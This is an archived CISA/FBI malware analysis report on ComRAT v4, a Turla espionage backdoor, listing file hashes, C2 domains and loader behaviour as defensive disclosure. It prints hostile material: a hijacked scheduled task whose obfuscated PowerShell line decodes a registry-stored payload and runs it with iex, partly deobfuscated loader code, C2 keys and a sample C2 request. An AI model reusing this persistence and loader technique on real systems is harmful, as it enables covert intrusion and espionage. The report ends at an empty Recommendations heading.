

## MAR-10310246-2.v1 – PowerShell Script: ComRAT | CISA

Published: 2020-10-29 · Archived: 2026-04-06 02:03:39 UTC

### Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see <http://www.us-cert.gov/tlp>.

### Summary

#### Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Cybersecurity and Infrastructure Security Agency (CISA), the Cyber National Mission Force (CNMF), and the Federal Bureau of Investigation (FBI). The malware variant, known as ComRAT, has been used by Turla, a Russian-sponsored Advanced Persistent Threat (APT) actor. CISA, CNMF, and FBI are distributing this MAR to enable network defense and reduced exposure to malicious activity. This MAR includes suggested response actions and recommended mitigation techniques.

FBI has high-confidence that Russian-sponsored APT actor Turla, which is an espionage group active for at least a decade, is using ComRAT malware to exploit victim networks. The group is well known for its custom tools and targeted operations.

This report analyzes a PowerShell script that installs a PowerShell script, which will decode and load a 64-bit dynamic-link library (DLL) identified as ComRAT version 4. This new variant of ComRAT contains embedded 32-bit and 64-bit DLLs used as communication modules. The communication module (32-bit or 64-bit DLL) is injected into the victim system's default browser. The ComRATv4 file and the communication module communicate with each other using a named pipe. The named pipe is used to send Hypertext Transfer Protocol (HTTP) requests and receive HTTP responses to and from the communication module for backdoor commands. It is designed to use a Gmail web interface to receive commands and exfiltrate data. The ComRAT v4 file contains a Virtual File System (VFS) in File Allocation Table 16 (FAT16) format, which includes the configuration and logs files.

Users or administrators should flag activity associated with the malware and report the activity to the CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. For more information on malicious cyber activity, please visit <https://us-cert.cisa.gov/>

For a downloadable copy of IOCs, see: [MAR-10310246-2.v1.WHITE.stix](#).

#### Submitted Files (5)

00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d (Communication\_module\_32.dll)

134919151466c9292bdc7c24c32c841a5183d880072b0ad5e8b3a3a830afe8 (corrected.ps1)

166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405 (Communication\_module\_64.dll)

44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316 (ComRATv4.exe)

a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642 (Decode\_PowerShell.ps1)

#### Domains (6)

branter.tk

bronerg.tk

crusider.tk

duke6.tk

sanitar.ml

wekanda.tk

**Findings**

134919151466c9292bdc7c24c32c841a5183d880072b0ad5e8b3a3a830afef8

**Tags**

dropper

**Details**

<b>Name</b>	corrected.ps1
<b>Size</b>	4345430 bytes
<b>Type</b>	Little-endian UTF-16 Unicode text, with very long lines, with CRLF, LF line terminators
<b>MD5</b>	65419948186842f8f3ef07cafb71f59a
<b>SHA1</b>	93537b0814177e2101663306aa17332b9303e08a
<b>SHA256</b>	134919151466c9292bdc7c24c32c841a5183d880072b0ad5e8b3a3a830afef8
<b>SHA512</b>	83d093c6febacb11fcde57fee98c2385f628e5cd3629fbabd0f9e4d2c5de18c6336b3d3aff8081b06a827e742876d19ae370e81890c247daac73d
<b>ssdeep</b>	24576:+vq2EYNg0gX792UHDoSe9Ov2a8p+JnHZUoWYWUpcfm3WuPhu/aqJOFKs4Wuw054o:Dr9q0v4ubJmg4OFuwkOM5NZihxs
<b>Entropy</b>	4.004402

**Antivirus**

No matches found.

**YARA Rules**

No matches found.

**ssdeep Matches**

No matches found.

**Relationships**

1349191514...	Contains	a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
---------------	----------	--

**Description**

This file is a heavily encoded malicious PowerShell script. It is designed to install a malicious PowerShell script into a registry on the victim system. This malicious script also modifies the following scheduled task on the victim's system:

```
—Begin Modified Scheduled Task—
C:\Windows\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Consolidator
—End Modified Scheduled Task—
```

The modification of this scheduled task causes the installed malicious PowerShell script to be executed. Displayed below is the original scheduled task:

```
—Begin Original Scheduled Task—
<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
  <Version>1.0</Version>
  <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor>
  <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source>
  <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author>
  <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description>
  <URI>\Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI>
</RegistrationInfo>
<Principals>
  <Principal id="WinSQMAccount">
    <UserId>S-1-5-18</UserId>
```

```

</Principal>
</Principals>
<Settings>
  <DisallowStartIfOnBatteries>>false</DisallowStartIfOnBatteries>
  <StopIfGoingOnBatteries>>false</StopIfGoingOnBatteries>
  <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
  <StartWhenAvailable>>true</StartWhenAvailable>
  <IdleSettings>
    <StopOnIdleEnd>>true</StopOnIdleEnd>
    <RestartOnIdle>>false</RestartOnIdle>
  </IdleSettings>
  <UseUnifiedSchedulingEngine>>true</UseUnifiedSchedulingEngine>
</Settings>
<Triggers>
  <TimeTrigger>
    <StartBoundary>2004-01-02T00:00:00</StartBoundary>
    <Repetition>
      <Interval>PT6H</Interval>
    </Repetition>
  </TimeTrigger>
</Triggers>
<Actions Context="WinSQMAccount">
  <Exec>
    <Command>%SystemRoot%\System32\wsqmcons.exe</Command>
  </Exec>
</Actions>
</Task>
—End Original Scheduled Task—

```

The scheduled task is then modified by this malicious PowerShell script. Displayed below is the modified scheduled task:

```

—Begin Modified Scheduled Task—
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Source>$(@%systemRoot%\system32\wsqmcons.exe,-106)</Source>
    <Author>$(@%systemRoot%\system32\wsqmcons.exe,-108)</Author>
    <Version>1.0</Version>
    <Description>$(@%systemRoot%\system32\wsqmcons.exe,-107)</Description>
    <URI>Microsoft\Windows\Customer Experience Improvement Program\Consolidator</URI>
    <SecurityDescriptor>D:(A;OICI;FA;;;BA)(A;OICI;FA;;;SY)(A;OICI;GRGX;;;AU)</SecurityDescriptor>
  </RegistrationInfo>
  <Triggers>
    <TimeTrigger>
      <Repetition>
        <Interval>PT6H</Interval>
        <StopAtDurationEnd>>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2004-01-02T00:00:00</StartBoundary>
      <Enabled>>true</Enabled>
    </TimeTrigger>
    <LogonTrigger>
      <Enabled>>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="WinSQMAccount">
      <RunLevel>LeastPrivilege</RunLevel>
      <UserId>SYSTEM</UserId>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>>false</DisallowStartIfOnBatteries>

```

```

<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
  <StopOnIdleEnd>true</StopOnIdleEnd>
  <RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="WinSQMAccount">
  <Exec>
    <Command>cmd.exe</Command>
    <Arguments>>c "%SystemRoot%\System32\wsqmcons.exe & PowerShell.exe -v 2 "$GS459ea =
'KVYYOBBA4331110uhyicnoor';
[Text.Encoding]::ASCII.GetString([Convert]::"Fr`omBa`se6`4Str`ing"((gp
HKLM:\SOFTWARE\Microsoft\SQMClient\Windows).WSqmCons))iex;
""</Arguments>
  </Exec>
</Actions>
</Task>
—End Modified Scheduled Task—

```

The modification of the scheduled task illustrated below indicates the primary purpose of this task modification is to decode and execute a PowerShell script contained within the registry key  
 HKLM:\SOFTWARE\Microsoft\SQMClient\Windows = WSqmCons:

```

—Begin Specific Scheduled Task Module—
<Actions Context="WinSQMAccount">
  <Exec>
    <Command>cmd.exe</Command>
    <Arguments>>c "%SystemRoot%\System32\wsqmcons.exe & PowerShell.exe -v 2 "$GS459ea =
'KVYYOBBA4331110uhyicnoor';
[Text.Encoding]::ASCII.GetString([Convert]::"Fr`omBa`se6`4Str`ing"((gp
HKLM:\SOFTWARE\Microsoft\SQMClient\Windows).WSqmCons))iex;
""</Arguments>
—End Specific Scheduled Task Module—

```

This malicious script installs a PowerShell script (a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642) into the “WSqmCons” registry key. The primary purpose of the newly installed PowerShell is to decode and load a malicious DLL, identified as ComRat v4 (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316) onto the victim’s system.

**a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642**

**Tags**

trojan

**Details**

<b>Name</b>	Decode_PowerShell.ps1
<b>Size</b>	1264496 bytes
<b>Type</b>	ASCII text, with very long lines, with CRLF, LF line terminators
<b>MD5</b>	0fd79f4c60593f6aae69ff22086c3bb0

<b>SHA1</b>	07f0692c856703d75a9946a0fbb3c0db03f7ac40
<b>SHA256</b>	a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
<b>SHA512</b>	28a0ae0a779aa88499f70cf97ef9db9482527017ea76ee2e469e4184684c4d4fb0559e50f1721e7e9d02655bee4cdf7b12c62a3d037ea1013012
<b>ssdeep</b>	24576:jarQlVyeHtWdf7PyJjwLKWp57+7fb0TLaB7VrE:jD567vs1tm
<b>Entropy</b>	6.091278

**Antivirus**

<b>Antiy</b>	GrayWare/PowerShell.Mimikatz.a
<b>ClamAV</b>	Win.Trojan.PSempireInj-7013548-0
<b>Microsoft Security Essentials</b>	Trojan:PowerShell/Powersploit.J
<b>NANOAV</b>	Trojan.Script.ExpKit.eydujq
<b>Symantec</b>	Hacktool.Mimikatz

**YARA Rules**

No matches found.

**ssdeep Matches**

No matches found.

**Relationships**

a3170c32c0...	Contained_Within	134919151466c9292bdc7c24c32c841a5183d880072b0ad5e8b3a3a830afef8
a3170c32c0...	Dropped	44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316

**Description**

This heavily encoded PowerShell script is installed by the malicious script "corrected.ps1" (134919151466c9292bdc7c24c32c841a5183d880072b0ad5e8b3a3a830afef8). It is designed to decode and load an embedded DLL which has been identified as a variant of the malware known as ComRat v4 "ComRATv4.exe (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316).

Removal of some of the PowerShell obfuscation reveals the functions illustrated below. These functions are used to decompress the embedded DLL, before it is loaded on the target system:

—Begin PowerShell Helper Functions—

```
using System;
using System.IO;
using System.IO.Compression;
```

```
public static class CD475bjf{
    public static void DBQ800fc(Stream input, Stream output){byte[] buffer = new byte[16 * 1024];
    int bytesRead;
    while((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0){
        output.Write(buffer, 0, bytesRead);
    }
}
```

```
public static class MAE38aee{
    public static byte[] JZ653jdh(byte[] arrayToCompress){
        using (MemoryStream outputStream = new MemoryStream()){using (GZipStream tinyStream = new
GZipStream(outputStream, CompressionMode.Compress))using (MemoryStream mStream = new
MemoryStream(arrayToCompress))CD475bjf.DBQ800fc(mStream, tinyStream);
        return outputStream.ToArray();
    }
}
```

```
public static byte[] PGN255ij(byte[] arrayToDecompress){
    using (MemoryStream inputStream = new MemoryStream(arrayToDecompress))using (GZipStream bigStream = new
GZipStream(inputStream, CompressionMode.Decompress))using (MemoryStream bigStreamOut = new MemoryStream())
```

```
{CD475bjf.DBQ800fc(bigStream, bigStreamOut);
    return bigStreamOut.ToArray();
}}

#decode base64 above
$decompress = [Convert]::FromBase64String($decompressbase64);

#create another text object for use later
$NS70gea = New-Object System.Text.ASCIIEncoding;

#convert base64 decoded value to string
$decompress = $NS70gea.GetString($decompress,0,$decompress.Length);
—End PowerShell Helper Functions—
```

Figure 1 illustrates a part of the payload embedded within this malicious script. The encoded PowerShell script contains an embedded function named “Run”, that can load a DLL directly from memory and inject it into a remote process (Figure 2). The PowerShell script injects the embedded ComRAT DLL (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316) into the Windows Explorer process.

**Screenshots**

**Figure 1** - Screenshot of the payload embedded within this malicious script.

**Figure 2** - Screenshot of the function used to load a DLL directly from memory and inject it into a remote process.

**44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316**

**Tags**

trojan

**Details**

<b>Name</b>	ComRATv4.exe
<b>Size</b>	1827840 bytes
<b>Type</b>	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
<b>MD5</b>	faaafa3e115033ba5115ed6a6ba59ba9
<b>SHA1</b>	ca16a95cd38707bad2dc524bb3086b3c0cb3e372
<b>SHA256</b>	44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
<b>SHA512</b>	6f2fe02c1e15be2409f89ff1e6ae3c78f87e242ee448fe5ff6d375a74f10c7c6cc01f3f6d796aa34599a891e03c5d421d10f0c041e5a6dc0e346aea2
<b>ssdeep</b>	49152;jTRjrgdOU9p1PZH/JNTFTJT5dwlwzQJH:PRCBNTBwAH
<b>Entropy</b>	6.463931

**Antivirus**

<b>Ahnlab</b>	Trojan/Win64.Turla
<b>ESET</b>	a variant of Win64/Turla.BX trojan

**YARA Rules**

No matches found.

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2018-03-06 09:38:38-05:00
<b>Import Hash</b>	d9d661a606c9d1c23b47672d1067de68

**PE Sections**

MD5	Name	Raw Size	Entropy
11525199e6e248e88e0529cf72a9002d	header	1024	2.934959
0f3258519a92690d14406e141dcb285b	.text	1027584	6.441800
fa4840dc4653443d4574486df39bc6a3	.rdata	481280	4.896843
ca22c78d526550925d7843a24cd1d266	.data	264704	7.368343
f7cc8fa49cfa87a125d8354082e162f3	.pdata	47104	6.030652
ef6fdd7440f36ba21373b4585a5c83e4	.rsrc	512	4.724729
4f16258cf938a4bc7fe0ae92121f442d	.reloc	5632	5.425381

**Relationships**

44d6d67b53...	Contains	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
44d6d67b53...	Contains	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
44d6d67b53...	Dropped_By	a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642

**Description**

This application is a 32-bit Windows DLL that has been identified as a module of ComRAT v4. The DLL is loaded into Windows Explorer (Explorer.exe) by a ComRAT PowerShell loader (a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642). When executed, it checks the victim's system day/time and it performs code execution between 9AM to 5PM Monday through Friday. During execution, it installs the following files into the %TEMP% folder:

```
--Begin files--
"%TEMP%\iecache.bin" ==> an AES-256-XTS encrypted VFS FAT16 format, containing the malware configuration and the logs files. (The encryption key is generated during runtime and stored in the Windows registry).
"%TEMP%\FSAPIDebugLogFile.txt
--End files--
```

The malware injects an embedded communication module (00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d or (166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405) into the victim system's default browser and executes it. This file and the communication module communicate with each other using a named pipe. The malware uses the named pipe to send HTTP requests and receive HTTP responses to and from the communication module for backdoor commands. It is designed to use the Gmail web interface to receive commands and exfiltrate data.

Illustrated below are sample data observed in the decrypted VFS in FAT16 format. Some of these files can be updated in the VFS using backdoor commands.

```
--Begin sample data in the VFS --
"/etc/pal/" contains a list of C2 domains: "bronerg.tk|crusider.tk|duke6.tk"
"/etc/gal.bin" contains a list of C2 domains: "sanitar.ml|wekanda.tk|branter.tk"
"/etc/pki/aes_key.pki" : Contains the Advanced Encryption Standard (AES) encryption keys for the C2 communications:

--Begin AES key--
4F8112E9E5AB5391C584D567B58E539F0400094A83EA0C2DDC7FA455FCF447B1
--End AES key--

"/etc/pki/public_cert.pki" contains the Rivest-Shamir-Adleman (RSA) encryption key used for the C2 communications:

--Begin RSA key--
BE51E00093CEB0A5FCAE59EB4EEEB3079D1CB17FC195321587CB513003826917B0BC13EB3B9A4209A4FFAF19C07249D360F447A6FAE3936
--End RSA key--
```

It uses the public key cryptography with RSA and AES encrypted email attachments for its Gmail C2 channel.

```
"/etc/mail/subj_dict" contains the the Subject "Re: |RE: |FW: |FWD: | Fw: | Fwd:| FYI: |FYIP |NRN: | NT: | N/T | n/t| NB
|NM| n/m |N/M: |*n/m*"
```

```
"/etc/php_storage/GET/DEF/server.txt " and "/etc/php_storage/POST/DEF/server.txt" contains server IP "172.22.150.125".
--End sample data in the VFS --
```

Screenshots

**Figure 3** - The first bytes of the decrypted VFS in FAT16 format.

**Figure 4** - The decrypted VFS hierarchy, containing the malware configuration and the logs files.

**00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d**

Tags

backdoordownloaderloadertrojan

Details

<b>Name</b>	Communication_module_32.dll
<b>Size</b>	61440 bytes
<b>Type</b>	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
<b>MD5</b>	e509c3a40045d2dab9404240f3f201ed
<b>SHA1</b>	86f747cac3b16ed2dab6d9f72a347145ff7a850d
<b>SHA256</b>	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
<b>SHA512</b>	f78827b6fc258f4a63dd17fec2acb7114329a9d7fd426c72838f2e5e5c54c12fce7be7a0eb9c7e7e74b01fe80c42293ef89c3bcbaafd230a68f9639e
<b>ssdeep</b>	1536:zLAjaBOUFoD0C8YQ7aZS7C2kkAxWzg39xa3cdjrH+::zl2uOUG0CBQ7aZS7C3uzg39xEM
<b>Entropy</b>	5.338807

Antivirus

<b>Antiy</b>	Trojan[Backdoor]/Win32.Turla
<b>Avira</b>	TR/Crypt.XPACK.Gen3
<b>ESET</b>	a variant of Win32/Turla.EO trojan
<b>Ikarus</b>	Trojan-Downloader.Win32.Farfli
<b>NANOAV</b>	Trojan.Win32.Turla.hlrzcr
<b>Symantec</b>	Heur.AdvML.B

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

<b>Compile Date</b>	2018-03-06 09:36:54-05:00
<b>Import Hash</b>	87ab41c57e95562a3e81f0609398b278

PE Sections

MD5	Name	Raw Size	Entropy
b9bd1636e8c11ff1ab2368771e89cfac	header	4096	0.612975
077bf2412ba289da7b6261ffec65988d	.text	49152	6.051754
1c95870051ff12b740487ff93d19ef3b	.rdata	4096	0.317233
b86e403ac8c58a013fe4cda6b6715804	.reloc	4096	0.019202

Relationships

00352afc7e...	Contained_Within	44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
00352afc7e...	Connected_To	branter.tk
00352afc7e...	Connected_To	wekanda.tk
00352afc7e...	Connected_To	sanitar.ml
00352afc7e...	Connected_To	duke6.tk
00352afc7e...	Connected_To	bronerg.tk
00352afc7e...	Connected_To	crusider.tk

**Description**

This application is a 32-bit Windows DLL that has been identified as the communication module injected into the victim's system default browser by "ComRATv4.exe" (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316). It is designed to use the HTTP and a Gmail web interface for the C2. It attempts to connect to its C2 using secure connections.

--Begin list of domains--

bronerg.tk  
 crusider.tk  
 duke6.tk  
 sanitar.ml  
 wekanda.tk  
 branter.tk

--End list of domains--

Displayed below is sample request header:

--Begin header--

CONNECT bronerg[.].tk:443 HTTP/1.0  
 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)  
 Host: bronerg.tk:443  
 Content-Length: 0  
 Connection: Keep-Alive  
 --End header--

**bronerg.tk**

**Tags**

command-and-control

**Whois**

Domain name:

BRONERG.TK

Organisation:

Freedom Registry, Inc.  
 2225 East Bayshore Road #290  
 Palo Alto CA 94303  
 United States  
 Phone: +1 650-681-4172  
 Fax: +1 650-681-4173

Domain Nameservers:

NS01.FREENOM.COM  
 NS02.FREENOM.COM  
 NS03.FREENOM.COM  
 NS04.FREENOM.COM

**Relationships**

bronerg.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
------------	----------------	---

broneg.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
-----------	----------------	--

**Description**

ComRAT v4 C2 domain.

**crusider.tk**

**Tags**

command-and-control

**Ports**

- 443 TCP

**Whois**

Domain name:

CRUSIDER.TK

Organisation:

Freedom Registry, Inc.  
 2225 East Bayshore Road #290  
 Palo Alto CA 94303  
 United States  
 Phone: +1 650-681-4172  
 Fax: +1 650-681-4173

Domain Nameservers:

NS01.FREENOM.COM  
 NS02.FREENOM.COM  
 NS03.FREENOM.COM  
 NS04.FREENOM.COM

**Relationships**

crusider.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbded1e7b4539ffa931c2b2cdd405
crusider.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d

**Description**

ComRAT v4 C2 domain.

**duke6.tk**

**Tags**

command-and-control

**Whois**

Domain name:

DUKE6.TK

Organisation:

Freedom Registry, Inc.  
 2225 East Bayshore Road #290  
 Palo Alto CA 94303  
 United States  
 Phone: +1 650-681-4172  
 Fax: +1 650-681-4173

Domain Nameservers:

NS01.FREENOM.COM  
 NS02.FREENOM.COM

NS03.FREENOM.COM  
NS04.FREENOM.COM

**Relationships**

duke6.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
duke6.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405

**Description**

ComRAT v4 C2 domain.

**sanitar.ml**

**Tags**

command-and-control

**Whois**

Domain name:  
SANITAR.ML

Organisation:  
Freedom Registry, Inc.  
2225 East Bayshore Road #290  
Palo Alto CA 94303  
United States  
Phone: +1 650-681-4172  
Fax: +1 650-681-4173

Domain Nameservers:  
NS01.FREENOM.COM  
NS02.FREENOM.COM  
NS03.FREENOM.COM  
NS04.FREENOM.COM

**Relationships**

sanitar.ml	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
sanitar.ml	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405

**Description**

ComRAT v4 C2 domain.

**wekanda.tk**

**Tags**

command-and-control

**Whois**

Domain name:  
WEKANDA.TK

Organisation:  
Freedom Registry, Inc.  
2225 East Bayshore Road #290  
Palo Alto CA 94303  
United States  
Phone: +1 650-681-4172  
Fax: +1 650-681-4173

Domain Nameservers:  
 NS01.FREENOM.COM  
 NS02.FREENOM.COM  
 NS03.FREENOM.COM  
 NS04.FREENOM.COM

**Relationships**

wekanda.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
wekanda.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405

**Description**

ComRAT v4 C2 domain.

**branter.tk**

**Tags**

command-and-control

**Ports**

- 443 TCP

**Whois**

No Whois record at the time of analysis.

**Relationships**

branter.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
branter.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405

**Description**

ComRAT v4 C2 domain.

**166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405**

**Tags**

trojan

**Details**

<b>Name</b>	Communication_module_64.dll
<b>Size</b>	64000 bytes
<b>Type</b>	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
<b>MD5</b>	54902e33dd6d642bc5530de33b19e43c
<b>SHA1</b>	a06f0e29fca6eb29bf5334fb3b84a872172b0e28
<b>SHA256</b>	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
<b>SHA512</b>	28b8f63af33f4aebd2b5b582750036db718f657640aca649d4b2b95188661da3834398a56184ee08f64ddf1d32198e722be46dbfbc78e49e0d27
<b>ssdeep</b>	1536:p2JmzHKhyOjQuCLA/9zYgJS7aWSXEuT2XWZdjoEGbgqPU6Izj6N1o6OtAEBiUm5+:p2JmcjQuCLA/VYgJS7H21yXQdj5G0qM
<b>Entropy</b>	5.939047

**Antivirus**

<b>ESET</b>	a variant of Win64/Turla.CN trojan
-------------	------------------------------------

**YARA Rules**

No matches found.

**ssdeep Matches**

No matches found.

**PE Metadata**

<b>Compile Date</b>	2018-03-06 09:37:48-05:00
<b>Import Hash</b>	87ab41c57e95562a3e81f0609398b278

**PE Sections**

MD5	Name	Raw Size	Entropy
199ab75383a70bd1148671ca1c689d0e	header	1024	2.031353
46c52ca20a919c2314e32193eac9ec66	.text	60416	5.990363
a97e460909f791b5d0b571099a5b7b56	.rdata	1536	4.519592
c5ba9ad86e832155180da146aef6eabc	.pdata	1024	3.061435

**Relationships**

166b1fb3d3...	Contained_Within	44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
166b1fb3d3...	Connected_To	broneg.tk
166b1fb3d3...	Connected_To	crusider.tk
166b1fb3d3...	Connected_To	duke6.tk
166b1fb3d3...	Connected_To	sanitar.ml
166b1fb3d3...	Connected_To	wekanda.tk
166b1fb3d3...	Connected_To	branter.tk

**Description**

This application is a 64-bit Windows DLL that has been identified as the communication module injected into the victim's system default browser by "ComRATv4.exe" (44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316). The DLL is similar to the 32-bit communication module (00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d).

**Relationship Summary**

1349191514...	Contains	a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
a3170c32c0...	Contained_Within	134919151466c9292bdc7c24c32c841a5183d880072b0ad5e8b3a3a830afef8
a3170c32c0...	Dropped	44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
44d6d67b53...	Contains	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
44d6d67b53...	Contains	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
44d6d67b53...	Dropped_By	a3170c32c09fc85cdda778a5c20a3dab144b6d1dd9996ba8340866e0081c7642
00352afc7e...	Contained_Within	44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
00352afc7e...	Connected_To	branter.tk
00352afc7e...	Connected_To	wekanda.tk
00352afc7e...	Connected_To	sanitar.ml
00352afc7e...	Connected_To	duke6.tk

00352afc7e...	Connected_To	bronerg.tk
00352afc7e...	Connected_To	crusider.tk
bronerg.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
bronerg.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
crusider.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
crusider.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
duke6.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
duke6.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
sanitar.ml	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
sanitar.ml	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
wekanda.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
wekanda.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
branter.tk	Connected_From	00352afc7e7863530e4d68be35ae8b60261fc57560167645697b7bfc0ac0e93d
branter.tk	Connected_From	166b1fb3d34b32f1807c710aaa435d181aedbde1e7b4539ffa931c2b2cdd405
166b1fb3d3...	Contained_Within	44d6d67b5328a4d73f72d8a0f9d39fe4bb6539609f90f169483936a8b3b88316
166b1fb3d3...	Connected_To	bronerg.tk
166b1fb3d3...	Connected_To	crusider.tk
166b1fb3d3...	Connected_To	duke6.tk
166b1fb3d3...	Connected_To	sanitar.ml
166b1fb3d3...	Connected_To	wekanda.tk
166b1fb3d3...	Connected_To	branter.tk

**Recommendations**

